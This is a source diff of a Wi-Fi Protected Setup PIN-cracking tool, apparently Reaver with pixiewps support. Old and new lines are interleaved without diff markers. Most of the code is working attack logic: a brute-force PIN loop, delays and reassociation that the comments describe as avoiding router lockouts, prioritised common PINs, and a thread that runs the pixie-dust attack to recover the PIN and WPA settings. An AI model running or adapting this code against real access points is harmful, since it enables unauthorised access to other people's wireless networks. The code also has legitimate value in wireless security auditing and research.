97 cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
235 cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
98236 }
99237 else
100238 {
101239 assoc_fail_count++;
102240 }
103 }
104 #endif
105
106 /* Used to calculate pin attempt rates */
107 start_time = time(NULL);
108
109 /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */
110 if(get_key_status() <= KEY1_WIP)
111 {
112 set_key_status(KEY1_WIP);
113 }
241 }
242 cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid());
243
244
114245 /*
115 * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked.
116 * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop.
246 * Enter receive loop. This will block until a receive timeout occurs or a
247 * WPS transaction has completed or failed.
117248 */
118 else if(get_key_status() == KEY_DONE)
119 {
120 set_key_status(KEY2_WIP);
121 }
122
123 /* Main cracking loop */
124 for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++)
249 result = do_wps_exchange();
250
251 switch(result)
125252 {
126253 /*
127 * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS
128 * registrar requests. Using a delay here can help prevent the AP from locking us out.
254 * If the last pin attempt was rejected, increment
255 * the pin counter, clear the fail counter and move
256 * on to the next pin.
129257 */
130 pcap_sleep(get_delay());
131
132 /* Users may specify a delay after x number of attempts */
133 if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count()))
134 {
135 cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay());
136 pcap_sleep(get_recurring_delay());
137 sleep_count = 0;
138 }
139
140 /*
141 * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes).
142 * Verify that the AP is not locked before attempting the next pin.
143 */
144 while(get_ignore_locks() == 0 && is_wps_locked())
145 {
146 cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay());
147 pcap_sleep(get_lock_delay());
148
149 }
150
151 /* Initialize wps structure */
152 set_wps(initialize_wps_data());
153 if(!get_wps())
154 {
155 cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n");
258 case KEY_REJECTED:
259 fail_count = 0;
260 pin_count++;
261 advance_pin_count();
156262 break;
157 }
158
159 /* Try the next pin in the list */
160 pin = build_next_pin();
161 if(!pin)
162 {
163 cprintf(CRITICAL, "[-] Failed to generate the next payload\n");
263 /* Got it!! */
264 case KEY_ACCEPTED:
164265 break;
165 }
166 else
167 {
168 cprintf(WARNING, "[+] Trying pin \"%s\"\n", pin);
169 }
170
171 /*
172 * Reassociate with the AP before each WPS exchange. This is necessary as some APs will
173 * severely limit our pin attempt rate if we do not.
174 */
175 assoc_fail_count = 0;
176 while(!reassociate())
177 {
178 if(assoc_fail_count == MAX_ASSOC_FAILURES)
179 {
180 assoc_fail_count = 0;
181 cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
182 }
183 else
184 {
185 assoc_fail_count++;
186 }
187 }
188 cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid());
189
190
191 /*
192 * Enter receive loop. This will block until a receive timeout occurs or a
193 * WPS transaction has completed or failed.
194 */
195 result = do_wps_exchange();
196
197 switch(result)
198 {
199 /*
200 * If the last pin attempt was rejected, increment
201 * the pin counter, clear the fail counter and move
202 * on to the next pin.
203 */
204 case KEY_REJECTED:
205 fail_count = 0;
206 pin_count++;
207 advance_pin_count();
208 break;
209 /* Got it!! */
210 case KEY_ACCEPTED:
211 break;
212 /* Unexpected timeout or EAP failure...try this pin again */
213 default:
214 cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result);
215 fail_count++;
216 break;
217 }
218
219 /* If we've had an excessive number of message failures in a row, print a warning */
220 if(fail_count == WARN_FAILURE_COUNT)
221 {
222 cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count);
223 fail_count = 0;
224 pcap_sleep(get_fail_delay());
225 }
226
227 /* Display status and save current session state every DISPLAY_PIN_COUNT loops */
228 if(loop_count == DISPLAY_PIN_COUNT)
229 {
230 save_session();
231 display_status(pin_count, start_time);
232 loop_count = 0;
233 }
234
235 /*
236 * The WPA key and other settings are stored in the globule->wps structure. If we've
237 * recovered the WPS pin and parsed these settings, don't free this structure. It
238 * will be freed by wpscrack_free() at the end of main().
239 */
240 if(get_key_status() != KEY_DONE)
241 {
242 wps_deinit(get_wps());
243 set_wps(NULL);
244 }
245 /* If we have cracked the pin, save a copy */
246 else
247 {
248 set_pin(pin);
249 }
250 free(pin);
251 pin = NULL;
252
253 /* If we've hit our max number of pin attempts, quit */
254 if((get_max_pin_attempts() > 0) &&
255 (pin_count == get_max_pin_attempts()))
256 {
257 cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts());
266 /* Unexpected timeout or EAP failure...try this pin again */
267 default:
268 cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result);
269 fail_count++;
258270 break;
259 }
260 }
261
262 if(bssid) free(bssid);
263 if(get_handle())
264 {
265 pcap_close(get_handle());
266 set_handle(NULL);
267 }
268 }
269 else
270 {
271 cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface());
271 }
272
273 /* If we've had an excessive number of message failures in a row, print a warning */
274 if(fail_count == WARN_FAILURE_COUNT)
275 {
276 cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count);
277 fail_count = 0;
278 pcap_sleep(get_fail_delay());
279 }
280
281 /* Display status and save current session state every DISPLAY_PIN_COUNT loops */
282 if(loop_count == DISPLAY_PIN_COUNT)
283 {
284 save_session();
285 display_status(pin_count, start_time);
286 loop_count = 0;
287 }
288
289 /*
290 * The WPA key and other settings are stored in the globule->wps structure. If we've
291 * recovered the WPS pin and parsed these settings, don't free this structure. It
292 * will be freed by wpscrack_free() at the end of main().
293 */
294 if(get_key_status() != KEY_DONE)
295 {
296 wps_deinit(get_wps());
297 set_wps(NULL);
298 }
299 /* If we have cracked the pin, save a copy */
300 else
301 {
302 /* pixie already sets the pin if successful */
303 if(!pixie.do_pixie) set_pin(pin);
304 }
305
306 free(pin);
307 pin = NULL;
308
309 if(pixie.do_pixie && get_pin()) {
310 /* if we get here it means pixiewps process was successful,
311 but getting the pin may or may not have worked. */
312 update_wpc_from_pin();
313 cprintf(VERBOSE, "[+] Quitting after pixiewps attack\n");
314 break;
315 }
316
317 /* If we've hit our max number of pin attempts, quit */
318 if((get_max_pin_attempts() > 0) &&
319 (pin_count == get_max_pin_attempts()))
320 {
321 cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts());
322 break;
323 }
324 }
325
326 if(bssid) free(bssid);
327 if(get_handle())
328 {
329 pcap_close(get_handle());
330 set_handle(NULL);
272331 }
273332 }
274333
7575 #define P1_SIZE 10000
7676 #define P2_SIZE 1000
7777
78 #define EAPOL_START_MAX_TRIES 25
78 #define EAPOL_START_MAX_TRIES 10
7979 #define WARN_FAILURE_COUNT 10
8080
8181 #define EAPOL_START 1
167167 M7 = 0x0B,
168168 M8 = 0x0C,
169169 DONE = 0x0F,
170 NACK = 0x0E
170 NACK = 0x0E,
171 WPS_PT_DEAUTH = 0xFF
171172 };
172173
173174 enum wfa_elements
322323 #define IEEE80211_STYPE_QOS_CFACKPOLL 0x00F0
323324
324325 /* these types denote that the values are stored in a specific byte order */
326 #ifndef LE16_DEFINED
327 #define LE16_DEFINED
325328 typedef uint16_t le16;
326329 typedef uint32_t le32;
327330
328331 typedef uint16_t be16;
329332 typedef uint32_t be32;
333 #endif
330334
331335 #pragma pack(1)
332336 struct radio_tap_header
335339 uint8_t pad;
336340 le16 len;
337341 le32 flags;
342 #ifdef RADIOTAP_HEADER_WITH_RATE
343 uint8_t rate;
344 uint8_t pad2;
345 #endif
346 le16 txflags;
338347 };
339348
340349 struct dot11_frame_header
4242 int premature_timeout = 0, terminated = 0, got_nack = 0;
4343 int id_response_sent = 0, tx_type = 0;
4444 int m2_sent = 0, m4_sent = 0, m6_sent = 0;
45 int deauth_flag = 0;
4546
4647 /* Initialize settings for this WPS exchange */
4748 set_last_wps_state(0);
6566 {
6667 tx_type = 0;
6768
68 if(packet_type > last_msg)
69 if(packet_type != WPS_PT_DEAUTH && packet_type > last_msg)
6970 {
7071 last_msg = packet_type;
7172 }
7980 if(packet_type != UNKNOWN)
8081 switch(packet_type)
8182 {
83 case WPS_PT_DEAUTH:
84 if(!deauth_flag)
85 cprintf(VERBOSE, "[+] Received deauth request\n");
86 deauth_flag = 1;
87 break;
8288 case IDENTITY_REQUEST:
8389 cprintf(VERBOSE, "[+] Received identity request\n");
8490 tx_type = IDENTITY_RESPONSE;
146152 got_nack = 1;
147153 break;
148154 case TERMINATE:
155 cprintf(VERBOSE, "[+] Received EAP_FAILURE message\n");
149156 terminated = 1;
150157 break;
151158 default:
153160 terminated = 1;
154161 break;
155162 }
163 if(packet_type != UNKNOWN && packet_type != WPS_PT_DEAUTH)
164 deauth_flag = 0;
165 else if(packet_type == WPS_PT_DEAUTH)
166 continue;
156167
157168 if(tx_type == IDENTITY_RESPONSE)
158169 {
188199 }
189200
190201 send_eapol_start();
202 deauth_flag = 0;
191203 }
192204 else
193205 {
292304 );
293305 }
294306
307 static int is_deauth_packet(struct dot11_frame_header *frame_header)
308 {
309 int fcstype = frame_header->fc & end_htole16(IEEE80211_FCTL_STYPE);
310 return (fcstype == end_htole16(IEEE80211_STYPE_DEAUTH));
311 }
312
295313 /*
296314 * Processes incoming packets looking for EAP and WPS messages.
297315 * Responsible for stopping the timer when a valid EAP packet is received.
332350 if(!is_packet_for_us(frame_header))
333351 return UNKNOWN;
334352
353 if(is_deauth_packet(frame_header))
354 return WPS_PT_DEAUTH;
355
335356 int data_pkt_type;
336357
337358 /* Is this a data packet ? */
491512
492513 return ret_val;
493514 }
515
516
517 #ifdef EX_TEST
518
519 #include "wpsmon.h"
520
521 int main(int argc, char** argv) {
522 globule_init();
523 // arg 1: filename of cap
524 set_handle(capture_init(argv[1]));
525 if(!get_handle()) {
526 cprintf(CRITICAL, "[X] ERROR: Failed to open '%s' for capturing\n", get_iface());
527 goto end;
528 }
529
530 //arg 2: "our" mac for testing
531 unsigned char mac[6];
532 str2mac(argv[2], mac);
533 set_mac(mac);
534
535 //arg 3: bssid of "target" AP
536 str2mac(argv[3], mac);
537 set_bssid(mac);
538
539 struct pcap_pkthdr header;
540 const unsigned char *packet;
541 enum wps_type packet_type = UNKNOWN;
542
543 unsigned long packet_number = 0;
544
545 while((packet = next_packet(&header))) {
546 packet_number++;
547 packet_type = process_packet(packet, &header);
548 switch(packet_type) {
549 case UNKNOWN:
550 dprintf(2, "UNK\n");
551 break;
552 case WPS_PT_DEAUTH:
553 dprintf(2, "DEAUTH\n");
554 break;
555 }
556 }
557
558 end:
559 globule_deinit();
560 return 0;
561 }
562
563 #endif
4444 memset(globule, 0, sizeof(struct globals));
4545 ret = 1;
4646 globule->resend_timeout_usec = 200000;
47 globule->output_fd = -1;
4748
4849 }
4950
7475 if(globule->static_p2) free(globule->static_p2);
7576 if(globule->fp) fclose(globule->fp);
7677 if(globule->exec_string) free(globule->exec_string);
77
78
79 if(globule->output_fd != -1) close(globule->output_fd);
80
7881 free(globule);
7982 }
8083 }
99102
100103 void set_session(char *value)
101104 {
102 globule->session = strdup(value);
105 if(globule->session) free(globule->session);
106 globule->session = (value) ? strdup(value) : NULL;
103107 }
104108 char *get_session()
105109 {
134138 {
135139 if(index < P1_SIZE)
136140 {
137 globule->p1[index] = strdup(value);
141 if(globule->p1[index]) free(globule->p1[index]);
142 globule->p1[index] = (value) ? strdup(value) : NULL;
138143 }
139144 }
140145 char *get_p1(int index)
150155 {
151156 if(index < P2_SIZE)
152157 {
153 globule->p2[index] = strdup(value);
158 if(globule->p2[index]) free(globule->p2[index]);
159 globule->p2[index] = (value) ? strdup(value) : NULL;
154160 }
155161 }
156162 char *get_p2(int index)
442448
443449 void set_pin(char *value)
444450 {
445 globule->pin = strdup(value);
451 if(globule->pin) free(globule->pin);
452 globule->pin = (value) ? strdup(value) : NULL;
446453 }
447454 char *get_pin()
448455 {
451458
452459 void set_static_p1(char *value)
453460 {
454 globule->static_p1 = strdup(value);
461 if(globule->static_p1) free(globule->static_p1);
462 globule->static_p1 = (value) ? strdup(value) : NULL;
455463 }
456464
457465 char *get_static_p1(void)
461469
462470 void set_static_p2(char *value)
463471 {
464 globule->static_p2 = strdup(value);
472 if(globule->static_p2) free(globule->static_p2);
473 globule->static_p2 = (value) ? strdup(value) : NULL;
465474 }
466475
467476 char *get_static_p2(void)
636645 return globule->repeat_m6;
637646 }
638647
639
648 int get_output_fd(void) { return globule->output_fd; }
649
650 #include "pcapfile.h"
651 void set_output_fd(int fd) {
652 globule->output_fd = fd;
653 if (fd != -1) pcapfile_write_header(fd);
654 }
146146 enum nack_code nack_reason; /* Stores the nack code for the last received WSC_NACK message */
147147
148148 pcap_t *handle; /* Pcap handle */
149
150 int output_fd; /* handle for output pcap file */
151
152 uint64_t uptime; /* uptime of AP */
149153
150154 struct wps_data *wps; /*
151155 * wpa_supplicant's wps_data structure, needed for almost all wpa_supplicant
261265 unsigned char *get_vendor(void);
262266 void set_repeat_m6(int);
263267 int get_repeat_m6(void);
268 void set_output_fd(int fd);
269 int get_output_fd(void);
264270 #endif
120120 pcap_t *handle;
121121 char errbuf[PCAP_ERRBUF_SIZE] = { 0 };
122122 int status;
123 int activate_rfmon = 0;
123124
124125 handle = pcap_open_offline(capture_source, errbuf);
125126 if(handle) return handle;
132133 execve("/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport", argv, NULL);
133134 }
134135 waitpid(pid,&status,0);
136 activate_rfmon = 1;
135137 #endif
136138
137139 handle = pcap_create(capture_source, errbuf);
138140 if (handle) {
139141 pcap_set_snaplen(handle, 65536);
140142 pcap_set_timeout(handle, 50);
141 pcap_set_rfmon(handle, 1);
143 pcap_set_rfmon(handle, activate_rfmon);
142144 pcap_set_promisc(handle, 1);
143145 if(!(status = pcap_activate(handle)))
144146 return handle;
1103911039 { "998", 0 },
1104011040 { "999", 1 }
1104111041 };
11042
11043 /**
11044 * Return the index of k1[].key of p1 values
11045 *
11046 * @params int* value The value of p1 key
11047 *
11048 * @return int The index of value in k1
11049 */
11050 int get_k1_key_index(int value)
11051 {
11052 int i;
11053 int indexs[3];
11054 char str_pin[12];
11055
11056 indexs[0] = value; /* In k1, value == index is 87.66% */
11057 indexs[1] = value+1; /* In k1, value+1 == index is 12.33% */
11058 indexs[2] = 0; /* In k1, value in index 0 is 0.01% (1234) */
11059 for (i=0; i<3; ++i){
11060 if (indexs[i] >= 0 && indexs[i] < P1_SIZE){
11061 sprintf(str_pin, "%04d", value);
11062 if (strcmp(k1[indexs[i]].key, str_pin) == 0) {
11063 return indexs[i];
11064 }
11065 }
11066 }
11067
11068 return -1; /* not found */
11069 }
11070
11071 /**
11072 * Return the index of k2[].key of p2 values
11073 *
11074 * @params int* value The value of p2 key
11075 *
11076 * @return int The index of k2
11077 */
11078 int get_k2_key_index(int value)
11079 {
11080 int i;
11081 int indexs[3];
11082 char str_pin[12];
11083
11084 indexs[0] = value+1; /* In k2, value+1 == index is 56.6% */
11085 indexs[1] = value; /* In k2, value == index is 43.3% */
11086 indexs[2] = 0; /* In k2, value in index 0 is 0.1% (567) */
11087 for (i=0; i<3; ++i){
11088 if (indexs[i] >= 0 && indexs[i] < P2_SIZE){
11089 sprintf(str_pin, "%03d", value);
11090 if (strcmp(k2[indexs[i]].key, str_pin) == 0) {
11091 return indexs[i];
11092 }
11093 }
11094 }
11095
11096 return -1; /* not found */
11097 }
4141 int priority;
4242 };
4343
44 int get_k1_key_index(int value);
45 int get_k2_key_index(int value);
46
4447 #endif
3636 return new;
3737 }
3838
39 char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps) {
39 char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps, const char *progress) {
4040 size_t ol = 0, nl = 0, ns = 0;
4141 char *json_str = 0, *old = strdup("{"), *tmp;
4242 char buf[1024];
168168 tmp = sanitize_string(wps->rf_bands);
169169 nl = snprintf(buf, sizeof buf, "\"wps_rf_bands\" : \"%s\", ", tmp);
170170 free(tmp);
171 json_str = append_and_free(old, buf, 1);
172 old = json_str;
173 }
174 if(progress) {
175 nl = snprintf(buf, sizeof buf, "\"progress\" : \"%s\", ", progress);
171176 json_str = append_and_free(old, buf, 1);
172177 old = json_str;
173178 }
472477 * Returns a pointer to the radio tap header. If there is no radio tap header,
473478 * it returns a pointer to a dummy radio tap header.
474479 */
480 #define FAKE_RADIO_TAP_HEADER "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0"
475481 const u_char *libwps_radio_header(const u_char *packet, size_t len)
476482 {
477483 if(libwps_has_rt_header(packet, len))
480486 }
481487 else
482488 {
483 return (u_char *) FAKE_RADIO_TAP_HEADER;
489 return FAKE_RADIO_TAP_HEADER;
484490 }
485491
486492 }
5050 };
5151
5252 int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps);
53 char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps);
53 char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps, const char *progress);
5454
5555 #ifdef LIBWPS_C
5656
6262 #define WPS_VERSION2_ID 0
6363
6464 #define RADIO_TAP_VERSION 0
65 #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00"
6665
6766 #define TIMESTAMP_LEN 8
6867 #define MAC_ADDR_LEN 6
135134 int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps);
136135 unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len);
137136 unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len);
137 char *hex2str(unsigned char *hex, int len);
138 /* these functions are duplicates of the ones in 80211.h
139 the difference here is that libwps_has_rt_header() uses a
140 heuristic to determine whether a radiotap header is present,
141 since this is meant to be library code (not relying on
142 global state), whereas 80211.h's version queries the pcap
143 driver whether it supplies the header.
144 the latter is safer, but as we only pass pre-filtered 802.11
145 packets to the functions here, that's OK - they should all pass
146 through the heuristics. */
138147 int libwps_has_rt_header(const u_char *packet, size_t len);
139148 const u_char *libwps_radio_header(const u_char *packet, size_t len);
140 char *hex2str(unsigned char *hex, int len);
141149
142150 #endif
143151 #endif
3333 #include "misc.h"
3434
3535 /* Converts a raw MAC address to a colon-delimited string */
36 char *mac2str(unsigned char *mac, char delim)
36 /* buf holds the result & needs to be 18 bytes */
37 void mac2str_buf(unsigned char *mac, char delim, char* buf)
3738 {
38 char nyu[6*3];
3939 #define PAT "%.2X%c"
4040 #define PRT(X) mac[X], delim
4141 #define PBT "%.2X"
4242 if(delim)
43 snprintf(nyu, sizeof nyu, PAT PAT PAT PAT PAT PBT, PRT(0), PRT(1), PRT(2), PRT(3), PRT(4), mac[5]);
43 sprintf(buf, PAT PAT PAT PAT PAT PBT, PRT(0), PRT(1), PRT(2), PRT(3), PRT(4), mac[5]);
4444 else
45 snprintf(nyu, sizeof nyu, PBT PBT PBT PBT PBT PBT, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
45 sprintf(buf, PBT PBT PBT PBT PBT PBT, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
46 }
47
48 /* Converts a raw MAC address to a colon-delimited string */
49 char *mac2str(unsigned char *mac, char delim) {
50 char nyu[6*3];
51 mac2str_buf(mac, delim, nyu);
4652 return strdup(nyu);
4753 }
4854
7076 return;
7177 }
7278
79 static int cprintf_muted;
80 void cprintf_mute() {
81 cprintf_muted = 1;
82 }
83 void cprintf_unmute() {
84 cprintf_muted = 0;
85 }
86 int cprintf_ismuted() { return cprintf_muted; }
87
7388 /* Conditional printf wrapper */
7489 void cprintf(enum debug_level level, const char *fmt, ...)
7590 {
7691 va_list arg;
7792
78 if(level <= get_debug())
93 if(!cprintf_muted && (level <= get_debug()))
7994 {
8095 va_start(arg, fmt);
8196 vfprintf(get_log_file(), fmt, arg);
4242 #include "globule.h"
4343 #include "cprintf.h"
4444
45 void mac2str_buf(unsigned char *mac, char delim, char* buf);
4546 char *mac2str(unsigned char *mac, char delim);
4647 void str2mac(char *str, unsigned char *mac);
4748 void daemonize(void);
0 /* simple pcap file writer (C) 2018 rofl0r */
1 #include <unistd.h>
2 #include <pcap/pcap.h>
3 #include "utils/endianness.h"
4
5 #ifdef SWITCH_ENDIAN
6 /* if defined allows to use the opposite endian format for testing */
7 # define SWAP_IF_SWITCHED(X) end_bswap32(X)
8 # define NOT_IF_SWITCHED !
9 #else
10 # define SWAP_IF_SWITCHED(X) X
11 # define NOT_IF_SWITCHED
12 #endif
13
14 static void pcapfile_write_header_be(int outfd) {
15 write(outfd, "\xA1\xB2\xC3\xD4" "\x00\x02\x00\x04"
16 "\x00\x00\x00\x00" "\x00\x00\x00\x00"
17 "\x00\x04\x00\x00" "\x00\x00\x00\x7F", 24);
18 }
19 static void pcapfile_write_header_le(int outfd) {
20 write(outfd, "\xD4\xC3\xB2\xA1" "\x02\x00\x04\x00"
21 "\x00\x00\x00\x00" "\x00\x00\x00\x00"
22 "\x00\x00\x04\x00" "\x7F\x00\x00\x00", 24);
23 }
24 void pcapfile_write_header(int outfd) {
25 if (NOT_IF_SWITCHED ENDIANNESS_BE) pcapfile_write_header_be(outfd);
26 else pcapfile_write_header_le(outfd);
27 }
28
29 void pcapfile_write_packet(int outfd, struct pcap_pkthdr *h_out, const unsigned char* data) {
30 struct pcap_file_pkthdr {
31 unsigned sec_epoch;
32 unsigned ms_sec;
33 unsigned caplen;
34 unsigned len;
35 } hdr_out = {
36 .sec_epoch = SWAP_IF_SWITCHED(h_out->ts.tv_sec),
37 .ms_sec = SWAP_IF_SWITCHED(h_out->ts.tv_usec),
38 .caplen = SWAP_IF_SWITCHED(h_out->caplen),
39 .len = SWAP_IF_SWITCHED(h_out->len),
40 };
41 write(outfd, &hdr_out, sizeof hdr_out);
42 write(outfd, data, h_out->len);
43 }
44
0 #ifndef PCAPFILE_H
1 #define PCAPFILE_H
2
3 #include <pcap/pcap.h>
4
5 void pcapfile_write_header(int outfd);
6 void pcapfile_write_packet(int outfd, struct pcap_pkthdr *h_out, const unsigned char* data);
7
8 //RcB: DEP "pcapfile.c"
9
10 #endif
11
101101 {
102102 int i = 0, index = 0;
103103
104 /* If the first half of the pin was not specified, generate a list of possible pins */
105 if(!get_static_p1())
104 /* If the first half of the pin was specified,
105 * generate a list of possible pins with the specified first half pin first
106 */
107 if(get_static_p1() && !get_pin_string_mode())
106108 {
109 i = get_k1_key_index(atoi(get_static_p1()));
110 set_p1(index, k1[i].key);
111 k1[i].priority = 2;
112 index++;
113 }
107114 /*
108115 * Look for P1 keys marked as priority. These are pins that have been
109116 * reported to be commonly used on some APs and should be tried first.
110117 */
111 for(index=0, i=0; i<P1_SIZE; i++)
118 for(i=0; i<P1_SIZE; i++)
112119 {
113120 if(k1[i].priority == 1)
114121 {
126133 index++;
127134 }
128135 }
129 }
130 else
136
137 /* If the second half of the pin was specified,
138 * generate a list of possible pins with the specified second half pin first
139 */
140 index = 0;
141 if(get_static_p2() && !get_pin_string_mode())
131142 {
132 /* If the first half of the pin was specified by the user, only use that */
133 for(index=0; index<P1_SIZE; index++)
134 {
135 set_p1(index, get_static_p1());
136 }
143 i = get_k2_key_index(atoi(get_static_p2()));
144 set_p2(index, k2[i].key);
145 k2[i].priority = 2;
146 index++;
137147 }
138
139 /* If the second half of the pin was not specified, generate a list of possible pins */
140 if(!get_static_p2())
141 {
142148 /*
143149 * Look for P2 keys statically marked as priority. These are pins that have been
144150 * reported to be commonly used on some APs and should be tried first.
145151 */
146 for(index=0, i=0; i<P2_SIZE; i++)
152 for(i=0; i<P2_SIZE; i++)
147153 {
148154 if(k2[i].priority == 1)
149155 {
161167 index++;
162168 }
163169 }
164 }
165 else
166 {
167 /* If the second half of the pin was specified by the user, only use that */
168 for(index=0; index<P2_SIZE; index++)
169 {
170 set_p2(index, get_static_p2());
171 }
172 }
173170
174171 return;
175172 }
00 #include <sys/types.h>
1 #undef _POSIX_C_SOURCE
2 #define _POSIX_C_SOURCE 200809L
3 #include <time.h>
4 #include <errno.h>
5
6 static int msleep(long millisecs) {
7 struct timespec req, rem;
8 req.tv_sec = millisecs / 1000;
9 req.tv_nsec = (millisecs % 1000) * 1000 * 1000;
10 int ret;
11 while((ret = nanosleep(&req, &rem)) == -1 && errno == EINTR) req = rem;
12 return ret;
13 }
14
115 #include "pixie.h"
216 #include "globule.h"
17 #include "send.h"
318 #include <stdio.h>
419 #include <stdlib.h>
20 #include <string.h>
21 #include <ctype.h>
522
623 struct pixie pixie = {0};
724
1431 if(i) *out = 0;
1532 }
1633
34 #define PIXIE_SUCCESS "[+] WPS pin:"
35 static int pixie_run(char *pixiecmd, char *pinbuf, size_t *pinlen) {
36 int ret = 0;
37 FILE *pr = popen(pixiecmd, "r");
38 if(pr) {
39 char buf[1024], *p;
40 while(fgets(buf, sizeof buf, pr)) {
41 printf("%s", buf);
42 if(ret) continue;
43 p = buf;
44 while(isspace(*p))++p;
45 if(!strncmp(p, PIXIE_SUCCESS, sizeof(PIXIE_SUCCESS)-1)) {
46 ret = 1;
47 char *pin = p + sizeof(PIXIE_SUCCESS)-1;
48 while(isspace(*pin))++pin;
49 if(!strncmp(pin, "<empty>", 7)) {
50 *pinlen = 0;
51 *pinbuf = 0;
52 } else {
53 char *q = strchr(pin, '\n');
54 if(q) *q = 0;
55 else {
56 fprintf(stderr, "oops1\n");
57 ret = 0;
58 }
59 size_t pl = strlen(pin);
60 if(pl < *pinlen) {
61 memcpy(pinbuf, pin, pl+1);
62 *pinlen = pl;
63 } else {
64 fprintf(stderr, "oops2\n");
65 ret = 0;
66 }
67 }
68 }
69 }
70 pclose(pr);
71 }
72 return ret;
73 }
74
75 static struct pixie_thread_data {
76 char cmd[4096];
77 char pinbuf[64];
78 size_t pinlen;
79 } ptd;
80 static volatile int thread_done;
81 static int timeout_hit;
82 static void* pixie_thread(void *data) {
83 unsigned long ret = pixie_run(ptd.cmd, ptd.pinbuf, &ptd.pinlen);
84 thread_done = 1;
85 return (void*)ret;
86 }
87 #include <pthread.h>
88 static int pixie_run_thread(void *ptr) {
89 /* to prevent from race conditions with 2 threads accessing stdout */
90 cprintf_mute();
91
92 pthread_t pt;
93 if(pthread_create(&pt, 0, pixie_thread, ptr) != 0) {
94 cprintf(INFO, "[-] error creating pixie thread\n");
95 return pixie_run(ptd.cmd, ptd.pinbuf, &ptd.pinlen);
96 }
97 unsigned long long us_passed = 0,
98 timeout_usec = get_rx_timeout() * 1000000LL;
99 while(!thread_done) {
100 us_passed += 2000;
101 if(!timeout_hit && (us_passed >= timeout_usec)) {
102 timeout_hit = 1;
103 send_wsc_nack(); /* sending silent nack */
104 }
105 msleep(2);
106 }
107 void *thread_ret;
108 pthread_join(pt, &thread_ret);
109 cprintf_unmute();
110 return (unsigned long)thread_ret;
111 }
112
113 extern void update_wpc_from_pin(void);
114
17115 void pixie_attack(void) {
116 struct wps_data *wps = get_wps();
18117 struct pixie *p = &pixie;
19118 int dh_small = get_dh_small();
20119
21120 if(p->do_pixie) {
22 char cmd[4096];
23 snprintf(cmd, sizeof cmd,
24 "pixiewps -e %s -s %s -z %s -a %s -n %s %s %s",
121 char uptime_str[64];
122 snprintf(uptime_str, sizeof(uptime_str), "-u %llu ",
123 (unsigned long long) globule->uptime);
124 snprintf(ptd.cmd, sizeof (ptd.cmd),
125 "pixiewps %s-e %s -s %s -z %s -a %s -n %s %s %s",
126 (p->use_uptime ? uptime_str : ""),
25127 p->pke, p->ehash1, p->ehash2, p->authkey, p->enonce,
26128 dh_small ? "-S" : "-r" , dh_small ? "" : p->pkr);
27 printf("executing %s\n", cmd);
28 exit(system(cmd));
129 printf("executing %s\n", ptd.cmd);
130 ptd.pinlen = 64;
131 ptd.pinbuf[0] = 0;
132 if(pixie_run_thread(&ptd)) {
133 cprintf(INFO, "[+] Pixiewps: success: setting pin to %s\n", ptd.pinbuf);
134 set_pin(ptd.pinbuf);
135 if(timeout_hit) {
136 cprintf(VERBOSE, "[+] Pixiewps timeout hit, sent WSC NACK\n");
137 cprintf(INFO, "[+] Pixiewps timeout, exiting. Send pin with -p\n");
138 update_wpc_from_pin();
139 exit(0);
140 }
141 free(wps->dev_password);
142 wps->dev_password = malloc(ptd.pinlen+1);
143 memcpy(wps->dev_password, ptd.pinbuf, ptd.pinlen+1);
144 wps->dev_password_len = ptd.pinlen;
145 } else {
146 cprintf(INFO, "[-] Pixiewps fail, sending WPS NACK\n");
147 send_wsc_nack();
148 exit(1);
149 }
29150 }
30151 PIXIE_FREE(authkey);
31152 PIXIE_FREE(pkr);
1313 char *ehash1;
1414 char *ehash2;
1515 int do_pixie;
16 int use_uptime;
1617 };
1718
1819 extern struct pixie pixie;
3131 */
3232
3333 #include "session.h"
34 #include <errno.h>
3435
3536 /* Does the configuration directory exist? Returns 1 for yes, 0 for no. */
3637 static int configuration_directory_exists()
5960 char answer = 0;
6061 FILE *fp = NULL;
6162 int ret_val = 0, i = 0;
63 int add, p1_tried, p2_tried;
6264
6365 /*
6466 * If a session file was explicitly specified, use that; else, check for the
9294 answer = 'n';
9395 }
